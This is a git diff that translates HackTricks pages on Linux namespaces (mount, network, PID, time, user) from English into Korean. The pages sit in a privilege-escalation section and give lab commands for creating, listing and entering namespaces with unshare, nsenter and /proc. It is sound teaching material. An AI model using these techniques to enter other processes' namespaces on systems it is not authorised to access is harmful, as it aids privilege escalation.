-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하는 데 실패하여 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### 모든 마운트 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### Mount 네임스페이스 내부로 들어가기 ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +또한, **루트 사용자**만 **다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/mnt`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +새로운 마운트는 네임스페이스 내에서만 접근할 수 있기 때문에, 네임스페이스가 그 안에서만 접근할 수 있는 민감한 정보를 포함할 가능성이 있습니다. +### 무언가 마운트하기 ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,7 +116,6 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - ## References - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..6c9436461 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -1,84 +1,74 @@ -# Network Namespace +# 네트워크 네임스페이스 {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +네트워크 네임스페이스는 네트워크 스택의 격리를 제공하는 리눅스 커널 기능으로, **각 네트워크 네임스페이스가 독립적인 네트워크 구성**을 가질 수 있도록 하며, 인터페이스, IP 주소, 라우팅 테이블 및 방화벽 규칙을 포함합니다. 이 격리는 컨테이너화와 같은 다양한 시나리오에서 유용하며, 각 컨테이너는 다른 컨테이너 및 호스트 시스템과 독립적인 네트워크 구성을 가져야 합니다. -### How it works: +### 작동 방식: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. 새로운 네트워크 네임스페이스가 생성되면, **완전히 격리된 네트워크 스택**으로 시작하며, 루프백 인터페이스(lo) 외에는 **네트워크 인터페이스가 없습니다**. 이는 새로운 네트워크 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 프로세스와 통신할 수 없음을 의미합니다. +2. veth 쌍과 같은 **가상 네트워크 인터페이스**를 생성하고 네트워크 네임스페이스 간에 이동할 수 있습니다. 이를 통해 네임스페이스 간 또는 네임스페이스와 호스트 시스템 간의 네트워크 연결을 설정할 수 있습니다. 예를 들어, veth 쌍의 한 쪽 끝을 컨테이너의 네트워크 네임스페이스에 배치하고, 다른 쪽 끝을 호스트 네임스페이스의 **브리지** 또는 다른 네트워크 인터페이스에 연결하여 컨테이너에 네트워크 연결을 제공합니다. +3. 네임스페이스 내의 네트워크 인터페이스는 **자신의 IP 주소, 라우팅 테이블 및 방화벽 규칙**을 가질 수 있으며, 다른 네임스페이스와 독립적입니다. 이를 통해 서로 다른 네트워크 네임스페이스의 프로세스가 서로 다른 네트워크 구성을 가질 수 있으며, 마치 별도의 네트워크 시스템에서 실행되는 것처럼 작동할 수 있습니다. +4. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWNET` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 네트워크 구성 및 인터페이스를 사용하기 시작합니다. -## Lab: +## 실습: -### Create different Namespaces +### 다양한 네임스페이스 생성 #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스의 생성을 시작하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### 모든 네트워크 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### 네트워크 네임스페이스 내부로 들어가기 ```bash nsenter -n TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). +또한, **루트 사용자일 때만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터** 없이 다른 네임스페이스에 **들어갈 수 없습니다** (예: `/proc/self/ns/net`). ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..3df50e473 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -4,85 +4,75 @@ ## Basic Information -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +PID (Process IDentifier) 네임스페이스는 Linux 커널의 기능으로, 프로세스 격리를 제공하여 프로세스 그룹이 다른 네임스페이스의 PID와 분리된 고유한 PID 집합을 가질 수 있게 합니다. 이는 보안 및 리소스 관리에 필수적인 프로세스 격리가 중요한 컨테이너화에서 특히 유용합니다. -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +새로운 PID 네임스페이스가 생성되면, 해당 네임스페이스의 첫 번째 프로세스는 PID 1이 할당됩니다. 이 프로세스는 새로운 네임스페이스의 "init" 프로세스가 되며, 네임스페이스 내의 다른 프로세스를 관리하는 역할을 합니다. 네임스페이스 내에서 생성된 각 후속 프로세스는 해당 네임스페이스 내에서 고유한 PID를 가지며, 이러한 PID는 다른 네임스페이스의 PID와 독립적입니다. -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +PID 네임스페이스 내의 프로세스 관점에서 볼 때, 동일한 네임스페이스의 다른 프로세스만 볼 수 있습니다. 다른 네임스페이스의 프로세스는 인식하지 못하며, 전통적인 프로세스 관리 도구(예: `kill`, `wait` 등)를 사용하여 상호작용할 수 없습니다. 이는 프로세스 간의 간섭을 방지하는 데 도움이 되는 격리 수준을 제공합니다. ### How it works: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. 새로운 프로세스가 생성될 때(예: `clone()` 시스템 호출을 사용하여), 프로세스는 새로운 또는 기존의 PID 네임스페이스에 할당될 수 있습니다. **새로운 네임스페이스가 생성되면, 프로세스는 해당 네임스페이스의 "init" 프로세스가 됩니다**. +2. **커널은 새로운 네임스페이스의 PID와 부모 네임스페이스의 해당 PID 간의 매핑을 유지합니다**(즉, 새로운 네임스페이스가 생성된 네임스페이스). 이 매핑은 **커널이 필요할 때 PID를 변환할 수 있게 합니다**, 예를 들어 서로 다른 네임스페이스의 프로세스 간에 신호를 보낼 때. +3. **PID 네임스페이스 내의 프로세스는 동일한 네임스페이스의 다른 프로세스만 보고 상호작용할 수 있습니다**. 그들은 다른 네임스페이스의 프로세스를 인식하지 못하며, 그들의 PID는 네임스페이스 내에서 고유합니다. +4. **PID 네임스페이스가 파괴될 때**(예: 네임스페이스의 "init" 프로세스가 종료될 때), **해당 네임스페이스 내의 모든 프로세스가 종료됩니다**. 이는 네임스페이스와 관련된 모든 리소스가 적절하게 정리되도록 보장합니다. ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID (프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하는 데 실패하여 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 함으로써 새로운 PID 네임스페이스가 올바르게 유지되어 `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰**를 갖도록 보장합니다. #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### 모든 PID 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +초기(기본) PID 네임스페이스의 루트 사용자는 모든 프로세스를 볼 수 있으며, 새로운 PID 네임스페이스의 프로세스도 포함됩니다. 그래서 모든 PID 네임스페이스를 볼 수 있습니다. -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### PID 네임스페이스 내부로 들어가기 ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +기본 네임스페이스에서 PID 네임스페이스로 들어가면 모든 프로세스를 여전히 볼 수 있습니다. 그리고 해당 PID ns의 프로세스는 PID ns에서 새로운 bash를 볼 수 있습니다. -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. - -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) +또한, **루트일 경우에만 다른 프로세스 PID 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/pid`). ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..557d1c894 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -4,69 +4,59 @@ ## Basic Information -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +Linux의 시간 네임스페이스는 시스템 단조 및 부팅 시간 시계에 대한 네임스페이스별 오프셋을 허용합니다. 이는 Linux 컨테이너에서 컨테이너 내의 날짜/시간을 변경하고 체크포인트 또는 스냅샷에서 복원한 후 시계를 조정하는 데 일반적으로 사용됩니다. ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### 프로세스가 있는 네임스페이스 확인하기 ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### 모든 시간 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### Time 네임스페이스에 들어가기 ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..f19547812 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -4,100 +4,85 @@ ## Basic Information -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +사용자 네임스페이스는 **사용자 및 그룹 ID 매핑의 격리를 제공하는** 리눅스 커널 